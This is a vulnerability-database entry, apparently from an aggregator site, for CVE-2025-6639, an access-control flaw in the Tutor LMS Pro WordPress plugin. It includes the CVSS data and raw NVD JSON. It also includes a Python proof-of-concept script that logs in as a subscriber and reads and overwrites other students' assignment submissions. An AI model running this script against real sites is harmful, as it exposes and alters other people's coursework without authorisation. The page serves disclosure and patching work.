Security Vulnerability Report
中文
CVE-2025-6639 CVSS 5.4 MEDIUM

CVE-2025-6639

Published: 2025-10-25 06:15:36
Last Modified: 2026-04-15 00:35:42

Description

The Tutor LMS Pro – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.3 due to missing validation on a user controlled key when viewing and editing assignments through the tutor_assignment_submit() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view and edit assignment submissions of other students.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tutor LMS Pro WordPress插件 <= 3.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # Target WordPress site with Tutor LMS Pro plugin target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Get course and assignment IDs (enumerate possible IDs) assignment_id = 1 # Start enumeration from 1 target_user_id = 2 # Victim user ID to access # Exploit IDOR to view other students' assignment submissions view_url = f"{target_url}/wp-admin/admin-ajax.php" view_data = { "action": "tutor_assignment_submit", "assignment_id": assignment_id, "user_id": target_user_id } response = session.post(view_url, data=view_data) print(f"Assignment Content: {response.text}") # Exploit IDOR to edit other students' assignment submissions edit_data = { "action": "tutor_assignment_submit", "assignment_id": assignment_id, "user_id": target_user_id, "answer_content": "Malicious modified content" } edit_response = session.post(view_url, data=edit_data) print(f"Edit Result: {edit_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6639", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:36.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS Pro – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.3 due to missing validation on a user controlled key when viewing and editing assignments through the tutor_assignment_submit() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view and edit assignment submissions of other students."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://wordpress.org/plugins/tutor/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8dc16ba4-3c2e-43e2-82a0-b742276b9640?source=cve", "source": "[email protected]"}]}}